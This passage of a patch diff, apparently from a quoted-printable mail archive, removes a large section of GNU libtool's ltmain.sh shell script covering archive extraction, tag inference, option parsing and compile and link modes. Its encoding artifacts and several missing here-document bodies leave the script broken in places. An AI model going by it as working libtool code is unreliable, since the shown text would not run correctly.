-func_win32_libid () { - win32_libid_type=3D"unknown" - win32_fileres=3D`file -L $1 2>/dev/null` - case $win32_fileres in - *ar\ archive\ import\ library*) # definitely import - win32_libid_type=3D"x86 archive import" - ;; - *ar\ archive*) # could be an import, or static - if eval $OBJDUMP -f $1 | $SED -e '10q' 2>/dev/null | \ - $EGREP -e 'file format pe-i386(.*architecture: i386)?' >/dev/nul= l ; then - win32_nmres=3D`eval $NM -f posix -A $1 | \ -=09sed -n -e '1,100{/ I /{x;/import/!{s/^/import/;h;p;};x;};}'` - if test "X$win32_nmres" =3D "Ximport" ; then - win32_libid_type=3D"x86 archive import" - else - win32_libid_type=3D"x86 archive static" - fi - fi - ;; - *DLL*) - win32_libid_type=3D"x86 DLL" - ;; - *executable*) # but shell scripts are "executable" too... - case $win32_fileres in - *MS\ Windows\ PE\ Intel*) - win32_libid_type=3D"x86 DLL" - ;; - esac - ;; - esac - $echo $win32_libid_type -} - - -# func_infer_tag arg -# Infer tagged configuration to use if any are available and -# if one wasn't chosen via the "--tag" command line option. -# Only attempt this if the compiler in the base compile -# command doesn't match the default compiler. -# arg is usually of the form 'gcc ...' -func_infer_tag () { - if test -n "$available_tags" && test -z "$tagname"; then - CC_quoted=3D - for arg in $CC; do -=09case $arg in -=09 *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \=09]*|*]*|"") -=09 arg=3D"\"$arg\"" -=09 ;; -=09esac -=09CC_quoted=3D"$CC_quoted $arg" - done - case $@ in - # Blanks in the command may have been stripped by the calling sh= ell, - # but not from the CC environment variable when configure was ru= n. - " $CC "* | "$CC "* | " `$echo $CC` "* | "`$echo $CC` "* | " $CC_= quoted"* | "$CC_quoted "* | " `$echo $CC_quoted` "* | "`$echo $CC_quote= d` "*) ;; - # Blanks at the start of $base_compile will cause this to fail - # if we don't check for them as well. - *) -=09for z in $available_tags; do -=09 if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $z$" < "$progpath" > /d= ev/null; then -=09 # Evaluate the configuration. -=09 eval "`${SED} -n -e '/^# ### BEGIN LIBTOOL TAG CONFIG: '$z'$/,/= ^# ### END LIBTOOL TAG CONFIG: '$z'$/p' < $progpath`" -=09 CC_quoted=3D -=09 for arg in $CC; do -=09 # Double-quote args containing other shell metacharacters. -=09 case $arg in -=09 *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \=09]*|*]*|"") -=09 arg=3D"\"$arg\"" -=09 ;; -=09 esac -=09 CC_quoted=3D"$CC_quoted $arg" -=09 done -=09 case "$@ " in -=09 " $CC "* | "$CC "* | " `$echo $CC` "* | "`$echo $CC` "* | " $= CC_quoted"* | "$CC_quoted "* | " `$echo $CC_quoted` "* | "`$echo $CC_qu= oted` "*) -=09 # The compiler in the base compile command matches -=09 # the one in the tagged configuration. -=09 # Assume this is the tagged configuration we want. -=09 tagname=3D$z -=09 break -=09 ;; -=09 esac -=09 fi -=09done -=09# If $tagname still isn't set, then no tagged configuration -=09# was found and let the user know that the "--tag" command -=09# line option must be used. -=09if test -z "$tagname"; then -=09 $echo "$modename: unable to infer tagged configuration" -=09 $echo "$modename: specify a tag with \`--tag'" 1>&2 -=09 exit $EXIT_FAILURE -# else -# $echo "$modename: using $tagname tagged configuration" -=09fi -=09;; - esac - fi -} - - -# func_extract_archives gentop oldlib ... -func_extract_archives () { - my_gentop=3D"$1"; shift - my_oldlibs=3D${1+"$@"} - my_oldobjs=3D"" - my_xlib=3D"" - my_xabs=3D"" - my_xdir=3D"" - my_status=3D"" - - $show "${rm}r $my_gentop" - $run ${rm}r "$my_gentop" - $show "$mkdir $my_gentop" - $run $mkdir "$my_gentop" - my_status=3D$? - if test "$my_status" -ne 0 && test ! -d "$my_gentop"; then - exit $my_status - fi - - for my_xlib in $my_oldlibs; do - # Extract the objects. - case $my_xlib in -=09[\\/]* | [A-Za-z]:[\\/]*) my_xabs=3D"$my_xlib" ;; -=09*) my_xabs=3D`pwd`"/$my_xlib" ;; - esac - my_xlib=3D`$echo "X$my_xlib" | $Xsed -e 's%^.*/%%'` - my_xdir=3D"$my_gentop/$my_xlib" - - $show "${rm}r $my_xdir" - $run ${rm}r "$my_xdir" - $show "$mkdir $my_xdir" - $run $mkdir "$my_xdir" - status=3D$? - if test "$status" -ne 0 && test ! -d "$my_xdir"; then -=09exit $status - fi - case $host in - *-darwin*) -=09$show "Extracting $my_xabs" -=09# Do not bother doing anything if just a dry run -=09if test -z "$run"; then -=09 darwin_orig_dir=3D`pwd` -=09 cd $my_xdir || exit $? -=09 darwin_archive=3D$my_xabs -=09 darwin_curdir=3D`pwd` -=09 darwin_base_archive=3D`basename $darwin_archive` -=09 darwin_arches=3D`lipo -info "$darwin_archive" 2>/dev/null | $EGRE= P Architectures 2>/dev/null` -=09 if test -n "$darwin_arches"; then=20 -=09 darwin_arches=3D`echo "$darwin_arches" | $SED -e 's/.*are://'` -=09 darwin_arch=3D -=09 $show "$darwin_base_archive has multiple architectures $darwin_= arches" -=09 for darwin_arch in $darwin_arches ; do -=09 mkdir -p "unfat-$$/${darwin_base_archive}-${darwin_arch}" -=09 lipo -thin $darwin_arch -output "unfat-$$/${darwin_base_archi= ve}-${darwin_arch}/${darwin_base_archive}" "${darwin_archive}" -=09 # Remove the table of contents from the thin files. -=09 $AR -d "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darw= in_base_archive}" __.SYMDEF 2>/dev/null || true -=09 $AR -d "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darw= in_base_archive}" __.SYMDEF\ SORTED 2>/dev/null || true -=09 cd "unfat-$$/${darwin_base_archive}-${darwin_arch}" -=09 $AR -xo "${darwin_base_archive}" -=09 rm "${darwin_base_archive}" -=09 cd "$darwin_curdir" -=09 done # $darwin_arches - ## Okay now we have a bunch of thin objects, gotta fatten them u= p :) -=09 darwin_filelist=3D`find unfat-$$ -type f | xargs basename | sor= t -u | $NL2SP` -=09 darwin_file=3D -=09 darwin_files=3D -=09 for darwin_file in $darwin_filelist; do -=09 darwin_files=3D`find unfat-$$ -name $darwin_file -print | $NL= 2SP` -=09 lipo -create -output "$darwin_file" $darwin_files -=09 done # $darwin_filelist -=09 rm -rf unfat-$$ -=09 cd "$darwin_orig_dir" -=09 else -=09 cd $darwin_orig_dir -=09 (cd $my_xdir && $AR x $my_xabs) || exit $? -=09 fi # $darwin_arches -=09fi # $run - ;; - *) -=09# We will extract separately just the conflicting names and we will -=09# no longer touch any unique names. It is faster to leave these -=09# extract automatically by $AR in one run. -=09$show "(cd $my_xdir && $AR x $my_xabs)" -=09$run eval "(cd \$my_xdir && $AR x \$my_xabs)" || exit $? -=09if ($AR t "$my_xabs" | sort | sort -uc >/dev/null 2>&1); then -=09 : -=09else -=09 $echo "$modename: warning: object name conflicts; renaming object= files" 1>&2 -=09 $echo "$modename: warning: to ensure that they will not overwrite= " 1>&2 -=09 $AR t "$my_xabs" | sort | uniq -cd | while read -r count name -=09 do -=09 i=3D1 -=09 while test "$i" -le "$count" -=09 do -=09 # Put our $i before any first dot (extension) -=09 # Never overwrite any file -=09 name_to=3D"$name" -=09 while test "X$name_to" =3D "X$name" || test -f "$my_xdir/$nam= e_to" -=09 do -=09=09name_to=3D`$echo "X$name_to" | $Xsed -e "s/\([^.]*\)/\1-$i/"` -=09 done -=09 $show "(cd $my_xdir && $AR xN $i $my_xabs '$name' && $mv '$na= me' '$name_to')" -=09 $run eval "(cd \$my_xdir && $AR xN $i \$my_xabs '$name' && $m= v '$name' '$name_to')" || exit $? -=09 i=3D`expr $i + 1` -=09 done -=09 done -=09fi -=09;; - esac - my_oldobjs=3D"$my_oldobjs "`find $my_xdir -name \*.$objext -prin= t -o -name \*.lo -print | $NL2SP` - done - - func_extract_archives_result=3D"$my_oldobjs" -} -# End of Shell function definitions -##################################### - -# Darwin sucks -eval std_shrext=3D\"$shrext_cmds\" - -# Parse our command line options once, thoroughly. -while test "$#" -gt 0 -do - arg=3D"$1" - shift - - case $arg in - -*=3D*) optarg=3D`$echo "X$arg" | $Xsed -e 's/[-_a-zA-Z0-9]*=3D//'` = ;; - *) optarg=3D ;; - esac - - # If the previous option needs an argument, assign it. - if test -n "$prev"; then - case $prev in - execute_dlfiles) - execute_dlfiles=3D"$execute_dlfiles $arg" - ;; - tag) - tagname=3D"$arg" - preserve_args=3D"${preserve_args}=3D$arg" - - # Check whether tagname contains only valid characters - case $tagname in - *[!-_A-Za-z0-9,/]*) -=09$echo "$progname: invalid tag name: $tagname" 1>&2 -=09exit $EXIT_FAILURE -=09;; - esac - - case $tagname in - CC) -=09# Don't test for the "default" C tag, as we know, it's there, but -=09# not specially marked. -=09;; - *) -=09if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "$progpath" = > /dev/null; then -=09 taglist=3D"$taglist $tagname" -=09 # Evaluate the configuration. -=09 eval "`${SED} -n -e '/^# ### BEGIN LIBTOOL TAG CONFIG: '$tagname'= $/,/^# ### END LIBTOOL TAG CONFIG: '$tagname'$/p' < $progpath`" -=09else -=09 $echo "$progname: ignoring unknown tag $tagname" 1>&2 -=09fi -=09;; - esac - ;; - *) - eval "$prev=3D\$arg" - ;; - esac - - prev=3D - prevopt=3D - continue - fi - - # Have we seen a non-optional argument yet? - case $arg in - --help) - show_help=3Dyes - ;; - - --version) - $echo "$PROGRAM (GNU $PACKAGE) $VERSION$TIMESTAMP" - $echo - $echo "Copyright (C) 2003 Free Software Foundation, Inc." - $echo "This is free software; see the source for copying condition= s. There is NO" - $echo "warranty; not even for MERCHANTABILITY or FITNESS FOR A PAR= TICULAR PURPOSE." - exit $EXIT_SUCCESS - ;; - - --config) - ${SED} -e '1,/^# ### BEGIN LIBTOOL CONFIG/d' -e '/^# ### END LIBTO= OL CONFIG/,$d' $progpath - # Now print the configurations for the tags. - for tagname in $taglist; do - ${SED} -n -e "/^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$/,/^# #= ## END LIBTOOL TAG CONFIG: $tagname$/p" < "$progpath" - done - exit $EXIT_SUCCESS - ;; - - --debug) - $echo "$progname: enabling shell trace mode" - set -x - preserve_args=3D"$preserve_args $arg" - ;; - - --dry-run | -n) - run=3D: - ;; - - --features) - $echo "host: $host" - if test "$build_libtool_libs" =3D yes; then - $echo "enable shared libraries" - else - $echo "disable shared libraries" - fi - if test "$build_old_libs" =3D yes; then - $echo "enable static libraries" - else - $echo "disable static libraries" - fi - exit $EXIT_SUCCESS - ;; - - --finish) mode=3D"finish" ;; - - --mode) prevopt=3D"--mode" prev=3Dmode ;; - --mode=3D*) mode=3D"$optarg" ;; - - --preserve-dup-deps) duplicate_deps=3D"yes" ;; - - --quiet | --silent) - show=3D: - preserve_args=3D"$preserve_args $arg" - ;; - - --tag) prevopt=3D"--tag" prev=3Dtag ;; - --tag=3D*) - set tag "$optarg" ${1+"$@"} - shift - prev=3Dtag - preserve_args=3D"$preserve_args --tag" - ;; - - -dlopen) - prevopt=3D"-dlopen" - prev=3Dexecute_dlfiles - ;; - - -*) - $echo "$modename: unrecognized option \`$arg'" 1>&2 - $echo "$help" 1>&2 - exit $EXIT_FAILURE - ;; - - *) - nonopt=3D"$arg" - break - ;; - esac -done - -if test -n "$prevopt"; then - $echo "$modename: option \`$prevopt' requires an argument" 1>&2 - $echo "$help" 1>&2 - exit $EXIT_FAILURE -fi - -# If this variable is set in any of the actions, the command in it -# will be execed at the end. This prevents here-documents from being -# left over by shells. -exec_cmd=3D - -if test -z "$show_help"; then - - # Infer the operation mode. - if test -z "$mode"; then - $echo "*** Warning: inferring the mode of operation is deprecated.= " 1>&2 - $echo "*** Future versions of Libtool will require -mode=3DMODE be= specified." 1>&2 - case $nonopt in - *cc | cc* | *++ | gcc* | *-gcc* | g++* | xlc*) - mode=3Dlink - for arg - do -=09case $arg in -=09-c) -=09 mode=3Dcompile -=09 break -=09 ;; -=09esac - done - ;; - *db | *dbx | *strace | *truss) - mode=3Dexecute - ;; - *install*|cp|mv) - mode=3Dinstall - ;; - *rm) - mode=3Duninstall - ;; - *) - # If we have no mode, but dlfiles were specified, then do execut= e mode. - test -n "$execute_dlfiles" && mode=3Dexecute - - # Just use the default operation mode. - if test -z "$mode"; then -=09if test -n "$nonopt"; then -=09 $echo "$modename: warning: cannot infer operation mode from \`$no= nopt'" 1>&2 -=09else -=09 $echo "$modename: warning: cannot infer operation mode without MO= DE-ARGS" 1>&2 -=09fi - fi - ;; - esac - fi - - # Only execute mode is allowed to have -dlopen flags. - if test -n "$execute_dlfiles" && test "$mode" !=3D execute; then - $echo "$modename: unrecognized option \`-dlopen'" 1>&2 - $echo "$help" 1>&2 - exit $EXIT_FAILURE - fi - - # Change the help message to a mode-specific one. - generic_help=3D"$help" - help=3D"Try \`$modename --help --mode=3D$mode' for more information.= " - - # These modes are in order of execution frequency so that they run q= uickly. - case $mode in - # libtool compile mode - compile) - modename=3D"$modename: compile" - # Get the compilation command and the source file. - base_compile=3D - srcfile=3D"$nonopt" # always keep a non-empty value in "srcfile" - suppress_opt=3Dyes - suppress_output=3D - arg_mode=3Dnormal - libobj=3D - later=3D - - for arg - do - case "$arg_mode" in - arg ) -=09# do not "continue". Instead, add this to base_compile -=09lastarg=3D"$arg" -=09arg_mode=3Dnormal -=09;; - - target ) -=09libobj=3D"$arg" -=09arg_mode=3Dnormal -=09continue -=09;; - - normal ) -=09# Accept any command-line options. -=09case $arg in -=09-o) -=09 if test -n "$libobj" ; then -=09 $echo "$modename: you cannot specify \`-o' more than once" 1>&2 -=09 exit $EXIT_FAILURE -=09 fi -=09 arg_mode=3Dtarget -=09 continue -=09 ;; - -=09-static | -prefer-pic | -prefer-non-pic) -=09 later=3D"$later $arg" -=09 continue -=09 ;; - -=09-no-suppress) -=09 suppress_opt=3Dno -=09 continue -=09 ;; - -=09-Xcompiler) -=09 arg_mode=3Darg # the next one goes into the "base_compile" arg = list -=09 continue # The current "srcfile" will either be retained or -=09 ;; # replaced later. I would guess that would be a b= ug. - -=09-Wc,*) -=09 args=3D`$echo "X$arg" | $Xsed -e "s/^-Wc,//"` -=09 lastarg=3D -=09 save_ifs=3D"$IFS"; IFS=3D',' - =09 for arg in $args; do -=09 IFS=3D"$save_ifs" - -=09 # Double-quote args containing other shell metacharacters. -=09 # Many Bourne shells cannot handle close brackets correctly -=09 # in scan sets, so we specify it separately. -=09 case $arg in -=09 *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \=09]*|*]*|"") -=09 arg=3D"\"$arg\"" -=09 ;; -=09 esac -=09 lastarg=3D"$lastarg $arg" -=09 done -=09 IFS=3D"$save_ifs" -=09 lastarg=3D`$echo "X$lastarg" | $Xsed -e "s/^ //"` - -=09 # Add the arguments to base_compile. -=09 base_compile=3D"$base_compile $lastarg" -=09 continue -=09 ;; - -=09* ) -=09 # Accept the current argument as the source file. -=09 # The previous "srcfile" becomes the current argument. -=09 # -=09 lastarg=3D"$srcfile" -=09 srcfile=3D"$arg" -=09 ;; -=09esac # case $arg -=09;; - esac # case $arg_mode - - # Aesthetically quote the previous argument. - lastarg=3D`$echo "X$lastarg" | $Xsed -e "$sed_quote_subst"` - - case $lastarg in - # Double-quote args containing other shell metacharacters. - # Many Bourne shells cannot handle close brackets correctly - # in scan sets, so we specify it separately. - *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \=09]*|*]*|"") -=09lastarg=3D"\"$lastarg\"" -=09;; - esac - - base_compile=3D"$base_compile $lastarg" - done # for arg - - case $arg_mode in - arg) - $echo "$modename: you must specify an argument for -Xcompile" - exit $EXIT_FAILURE - ;; - target) - $echo "$modename: you must specify a target with \`-o'" 1>&2 - exit $EXIT_FAILURE - ;; - *) - # Get the name of the library object. - [ -z "$libobj" ] && libobj=3D`$echo "X$srcfile" | $Xsed -e 's%^.= */%%'` - ;; - esac - - # Recognize several different file suffixes. - # If the user specifies -o file.o, it is replaced with file.lo - xform=3D'[cCFSifmso]' - case $libobj in - *.ada) xform=3Dada ;; - *.adb) xform=3Dadb ;; - *.ads) xform=3Dads ;; - *.asm) xform=3Dasm ;; - *.c++) xform=3Dc++ ;; - *.cc) xform=3Dcc ;; - *.ii) xform=3Dii ;; - *.class) xform=3Dclass ;; - *.cpp) xform=3Dcpp ;; - *.cxx) xform=3Dcxx ;; - *.f90) xform=3Df90 ;; - *.for) xform=3Dfor ;; - *.java) xform=3Djava ;; - esac - - libobj=3D`$echo "X$libobj" | $Xsed -e "s/\.$xform$/.lo/"` - - case $libobj in - *.lo) obj=3D`$echo "X$libobj" | $Xsed -e "$lo2o"` ;; - *) - $echo "$modename: cannot determine name of library object from \= `$libobj'" 1>&2 - exit $EXIT_FAILURE - ;; - esac - - func_infer_tag $base_compile - - for arg in $later; do - case $arg in - -static) -=09build_old_libs=3Dyes -=09continue -=09;; - - -prefer-pic) -=09pic_mode=3Dyes -=09continue -=09;; - - -prefer-non-pic) -=09pic_mode=3Dno -=09continue -=09;; - esac - done - - objname=3D`$echo "X$obj" | $Xsed -e 's%^.*/%%'` - xdir=3D`$echo "X$obj" | $Xsed -e 's%/[^/]*$%%'` - if test "X$xdir" =3D "X$obj"; then - xdir=3D - else - xdir=3D$xdir/ - fi - lobj=3D${xdir}$objdir/$objname - - if test -z "$base_compile"; then - $echo "$modename: you must specify a compilation command" 1>&2 - $echo "$help" 1>&2 - exit $EXIT_FAILURE - fi - - # Delete any leftover library objects. - if test "$build_old_libs" =3D yes; then - removelist=3D"$obj $lobj $libobj ${libobj}T" - else - removelist=3D"$lobj $libobj ${libobj}T" - fi - - $run $rm $removelist - trap "$run $rm $removelist; exit $EXIT_FAILURE" 1 2 15 - - # On Cygwin there's no "real" PIC flag so we must build both objec= t types - case $host_os in - cygwin* | mingw* | pw32* | os2*) - pic_mode=3Ddefault - ;; - esac - if test "$pic_mode" =3D no && test "$deplibs_check_method" !=3D pa= ss_all; then - # non-PIC code in shared libraries is not supported - pic_mode=3Ddefault - fi - - # Calculate the filename of the output object if compiler does - # not support -o with -c - if test "$compiler_c_o" =3D no; then - output_obj=3D`$echo "X$srcfile" | $Xsed -e 's%^.*/%%' -e 's%\.[^= .]*$%%'`.${objext} - lockfile=3D"$output_obj.lock" - removelist=3D"$removelist $output_obj $lockfile" - trap "$run $rm $removelist; exit $EXIT_FAILURE" 1 2 15 - else - output_obj=3D - need_locks=3Dno - lockfile=3D - fi - - # Lock this critical section if it is needed - # We use this script file to make the link, it avoids creating a n= ew file - if test "$need_locks" =3D yes; then - until $run ln "$progpath" "$lockfile" 2>/dev/null; do -=09$show "Waiting for $lockfile to be removed" -=09sleep 2 - done - elif test "$need_locks" =3D warn; then - if test -f "$lockfile"; then -=09$echo "\ -*** ERROR, $lockfile exists and contains: -`cat $lockfile 2>/dev/null` - -This indicates that another process is trying to use the same -temporary object file, and libtool could not work around it because -your compiler does not support \`-c' and \`-o' together. If you -repeat this compilation, it may succeed, by chance, but you had better -avoid parallel builds (make -j) in this platform, or get a better -compiler." - -=09$run $rm $removelist -=09exit $EXIT_FAILURE - fi - $echo $srcfile > "$lockfile" - fi - - if test -n "$fix_srcfile_path"; then - eval srcfile=3D\"$fix_srcfile_path\" - fi - - $run $rm "$libobj" "${libobj}T" - - # Create a libtool object file (analogous to a ".la" file), - # but don't create it if we're doing a dry run. - test -z "$run" && cat > ${libobj}T </dev/null`" !=3D "X$srcfile"; then -=09$echo "\ -*** ERROR, $lockfile contains: -`cat $lockfile 2>/dev/null` - -but it should contain: -$srcfile - -This indicates that another process is trying to use the same -temporary object file, and libtool could not work around it because -your compiler does not support \`-c' and \`-o' together. If you -repeat this compilation, it may succeed, by chance, but you had better -avoid parallel builds (make -j) in this platform, or get a better -compiler." - -=09$run $rm $removelist -=09exit $EXIT_FAILURE - fi - - # Just move the object if needed, then go on to compile the next= one - if test -n "$output_obj" && test "X$output_obj" !=3D "X$lobj"; t= hen -=09$show "$mv $output_obj $lobj" -=09if $run $mv $output_obj $lobj; then : -=09else -=09 error=3D$? -=09 $run $rm $removelist -=09 exit $error -=09fi - fi - - # Append the name of the PIC object to the libtool object file. - test -z "$run" && cat >> ${libobj}T </dev/null 2>&1' - fi - else - # No PIC object so indicate it doesn't exist in the libtool - # object file. - test -z "$run" && cat >> ${libobj}T </dev/null`" !=3D "X$srcfile"; then -=09$echo "\ -*** ERROR, $lockfile contains: -`cat $lockfile 2>/dev/null` - -but it should contain: -$srcfile - -This indicates that another process is trying to use the same -temporary object file, and libtool could not work around it because -your compiler does not support \`-c' and \`-o' together. If you -repeat this compilation, it may succeed, by chance, but you had better -avoid parallel builds (make -j) in this platform, or get a better -compiler." - -=09$run $rm $removelist -=09exit $EXIT_FAILURE - fi - - # Just move the object if needed - if test -n "$output_obj" && test "X$output_obj" !=3D "X$obj"; th= en -=09$show "$mv $output_obj $obj" -=09if $run $mv $output_obj $obj; then : -=09else -=09 error=3D$? -=09 $run $rm $removelist -=09 exit $error -=09fi - fi - - # Append the name of the non-PIC object the libtool object file. - # Only append if the libtool object file exists. - test -z "$run" && cat >> ${libobj}T <> ${libobj}T <&2 -=09 fi -=09 if test -n "$link_static_flag"; then -=09 dlopen_self=3D$dlopen_self_static -=09 fi -=09else -=09 if test -z "$pic_flag" && test -n "$link_static_flag"; then -=09 dlopen_self=3D$dlopen_self_static -=09 fi -=09fi -=09build_libtool_libs=3Dno -=09build_old_libs=3Dyes -=09prefer_static_libs=3Dyes -=09break -=09;; - esac - done - - # See if our shared archives depend on static archives. - test -n "$old_archive_from_new_cmds" && build_old_libs=3Dyes - - # Go through the arguments, transforming them on the way. - while test "$#" -gt 0; do - arg=3D"$1" - shift - case $arg in - *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \=09]*|*]*|"") -=09qarg=3D\"`$echo "X$arg" | $Xsed -e "$sed_quote_subst"`\" ### testsu= ite: skip nested quoting test -=09;; - *) qarg=3D$arg ;; - esac - libtool_args=3D"$libtool_args $qarg" - - # If the previous option needs an argument, assign it. - if test -n "$prev"; then -=09case $prev in -=09output) -=09 compile_command=3D"$compile_command @OUTPUT@" -=09 finalize_command=3D"$finalize_command @OUTPUT@" -=09 ;; -=09esac - -=09case $prev in -=09dlfiles|dlprefiles) -=09 if test "$preload" =3D no; then -=09 # Add the symbol object into the linking commands. -=09 compile_command=3D"$compile_command @SYMFILE@" -=09 finalize_command=3D"$finalize_command @SYMFILE@" -=09 preload=3Dyes -=09 fi -=09 case $arg in -=09 *.la | *.lo) ;; # We handle these cases below. -=09 force) -=09 if test "$dlself" =3D no; then -=09 dlself=3Dneedless -=09 export_dynamic=3Dyes -=09 fi -=09 prev=3D -=09 continue -=09 ;; -=09 self) -=09 if test "$prev" =3D dlprefiles; then -=09 dlself=3Dyes -=09 elif test "$prev" =3D dlfiles && test "$dlopen_self" !=3D yes; = then -=09 dlself=3Dyes -=09 else -=09 dlself=3Dneedless -=09 export_dynamic=3Dyes -=09 fi -=09 prev=3D -=09 continue -=09 ;; -=09 *) -=09 if test "$prev" =3D dlfiles; then -=09 dlfiles=3D"$dlfiles $arg" -=09 else -=09 dlprefiles=3D"$dlprefiles $arg" -=09 fi -=09 prev=3D -=09 continue -=09 ;; -=09 esac -=09 ;; -=09expsyms) -=09 export_symbols=3D"$arg" -=09 if test ! -f "$arg"; then -=09 $echo "$modename: symbol file \`$arg' does not exist" -=09 exit $EXIT_FAILURE -=09 fi -=09 prev=3D -=09 continue -=09 ;; -=09expsyms_regex) -=09 export_symbols_regex=3D"$arg" -=09 prev=3D -=09 continue -=09 ;; -=09inst_prefix) -=09 inst_prefix_dir=3D"$arg" -=09 prev=3D -=09 continue -=09 ;; -=09precious_regex) -=09 precious_files_regex=3D"$arg" -=09 prev=3D -=09 continue -=09 ;; -=09release) -=09 release=3D"-$arg" -=09 prev=3D -=09 continue -=09 ;; -=09objectlist) -=09 if test -f "$arg"; then -=09 save_arg=3D$arg -=09 moreargs=3D -=09 for fil in `cat $save_arg` -=09 do -#=09 moreargs=3D"$moreargs $fil" -=09 arg=3D$fil -=09 # A libtool-controlled object. - -=09 # Check to see that this really is a libtool object. -=09 if (${SED} -e '2q' $arg | grep "^# Generated by .*$PACKAGE") = >/dev/null 2>&1; then -=09=09pic_object=3D -=09=09non_pic_object=3D - -=09=09# Read the .lo file -=09=09# If there is no directory component, then add one. -=09=09case $arg in -=09=09*/* | *\\*) . $arg ;; -=09=09*) . ./$arg ;; -=09=09esac - -=09=09if test -z "$pic_object" || \ -=09=09 test -z "$non_pic_object" || -=09=09 test "$pic_object" =3D none && \ -=09=09 test "$non_pic_object" =3D none; then -=09=09 $echo "$modename: cannot find name of object for \`$arg'" 1>&2 -=09=09 exit $EXIT_FAILURE -=09=09fi - -=09=09# Extract subdirectory from the argument. -=09=09xdir=3D`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'` -=09=09if test "X$xdir" =3D "X$arg"; then -=09=09 xdir=3D -=09=09else -=09=09 xdir=3D"$xdir/" -=09=09fi - -=09=09if test "$pic_object" !=3D none; then -=09=09 # Prepend the subdirectory the object is found in. -=09=09 pic_object=3D"$xdir$pic_object" - -=09=09 if test "$prev" =3D dlfiles; then -=09=09 if test "$build_libtool_libs" =3D yes && test "$dlopen_suppo= rt" =3D yes; then -=09=09 dlfiles=3D"$dlfiles $pic_object" -=09=09 prev=3D -=09=09 continue -=09=09 else -=09=09 # If libtool objects are unsupported, then we need to prel= oad. -=09=09 prev=3Ddlprefiles -=09=09 fi -=09=09 fi - -=09=09 # CHECK ME: I think I busted this. -Ossama -=09=09 if test "$prev" =3D dlprefiles; then -=09=09 # Preload the old-style object. -=09=09 dlprefiles=3D"$dlprefiles $pic_object" -=09=09 prev=3D -=09=09 fi - -=09=09 # A PIC object. -=09=09 libobjs=3D"$libobjs $pic_object" -=09=09 arg=3D"$pic_object" -=09=09fi - -=09=09# Non-PIC object. -=09=09if test "$non_pic_object" !=3D none; then -=09=09 # Prepend the subdirectory the object is found in. -=09=09 non_pic_object=3D"$xdir$non_pic_object" - -=09=09 # A standard non-PIC object -=09=09 non_pic_objects=3D"$non_pic_objects $non_pic_object" -=09=09 if test -z "$pic_object" || test "$pic_object" =3D none ; then -=09=09 arg=3D"$non_pic_object" -=09=09 fi -=09=09fi -=09 else -=09=09# Only an error if not doing a dry-run. -=09=09if test -z "$run"; then -=09=09 $echo "$modename: \`$arg' is not a valid libtool object" 1>&2 -=09=09 exit $EXIT_FAILURE -=09=09else -=09=09 # Dry-run case. - -=09=09 # Extract subdirectory from the argument. -=09=09 xdir=3D`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'` -=09=09 if test "X$xdir" =3D "X$arg"; then -=09=09 xdir=3D -=09=09 else -=09=09 xdir=3D"$xdir/" -=09=09 fi - -=09=09 pic_object=3D`$echo "X${xdir}${objdir}/${arg}" | $Xsed -e "$lo= 2o"` -=09=09 non_pic_object=3D`$echo "X${xdir}${arg}" | $Xsed -e "$lo2o"` -=09=09 libobjs=3D"$libobjs $pic_object" -=09=09 non_pic_objects=3D"$non_pic_objects $non_pic_object" -=09=09fi -=09 fi -=09 done -=09 else -=09 $echo "$modename: link input file \`$save_arg' does not exist" -=09 exit $EXIT_FAILURE -=09 fi -=09 arg=3D$save_arg -=09 prev=3D -=09 continue -=09 ;; -=09rpath | xrpath) -=09 # We need an absolute path. -=09 case $arg in -=09 [\\/]* | [A-Za-z]:[\\/]*) ;; -=09 *) -=09 $echo "$modename: only absolute run-paths are allowed" 1>&2 -=09 exit $EXIT_FAILURE -=09 ;; -=09 esac -=09 if test "$prev" =3D rpath; then -=09 case "$rpath " in -=09 *" $arg "*) ;; -=09 *) rpath=3D"$rpath $arg" ;; -=09 esac -=09 else -=09 case "$xrpath " in -=09 *" $arg "*) ;; -=09 *) xrpath=3D"$xrpath $arg" ;; -=09 esac -=09 fi -=09 prev=3D -=09 continue -=09 ;; -=09xcompiler) -=09 compiler_flags=3D"$compiler_flags $qarg" -=09 prev=3D -=09 compile_command=3D"$compile_command $qarg" -=09 finalize_command=3D"$finalize_command $qarg" -=09 continue -=09 ;; -=09xlinker) -=09 linker_flags=3D"$linker_flags $qarg" -=09 compiler_flags=3D"$compiler_flags $wl$qarg" -=09 prev=3D -=09 compile_command=3D"$compile_command $wl$qarg" -=09 finalize_command=3D"$finalize_command $wl$qarg" -=09 continue -=09 ;; -=09xcclinker) -=09 linker_flags=3D"$linker_flags $qarg" -=09 compiler_flags=3D"$compiler_flags $qarg" -=09 prev=3D -=09 compile_command=3D"$compile_command $qarg" -=09 finalize_command=3D"$finalize_command $qarg" -=09 continue -=09 ;; -=09shrext) - =09 shrext_cmds=3D"$arg" -=09 prev=3D -=09 continue -=09 ;; -=09*) -=09 eval "$prev=3D\"\$arg\"" -=09 prev=3D -=09 continue -=09 ;; -=09esac - fi # test -n "$prev" - - prevarg=3D"$arg" - - case $arg in - -all-static) -=09if test -n "$link_static_flag"; then -=09 compile_command=3D"$compile_command $link_static_flag" -=09 finalize_command=3D"$finalize_command $link_static_flag" -=09fi -=09continue -=09;; - - -allow-undefined) -=09# FIXME: remove this flag sometime in the future. -=09$echo "$modename: \`-allow-undefined' is deprecated because it is t= he default" 1>&2 -=09continue -=09;; - - -avoid-version) -=09avoid_version=3Dyes -=09continue -=09;; - - -dlopen) -=09prev=3Ddlfiles -=09continue -=09;; - - -dlpreopen) -=09prev=3Ddlprefiles -=09continue -=09;; - - -export-dynamic) -=09export_dynamic=3Dyes -=09continue -=09;; - - -export-symbols | -export-symbols-regex) -=09if test -n "$export_symbols" || test -n "$export_symbols_regex"; th= en -=09 $echo "$modename: more than one -exported-symbols argument is not= allowed" -=09 exit $EXIT_FAILURE -=09fi -=09if test "X$arg" =3D "X-export-symbols"; then -=09 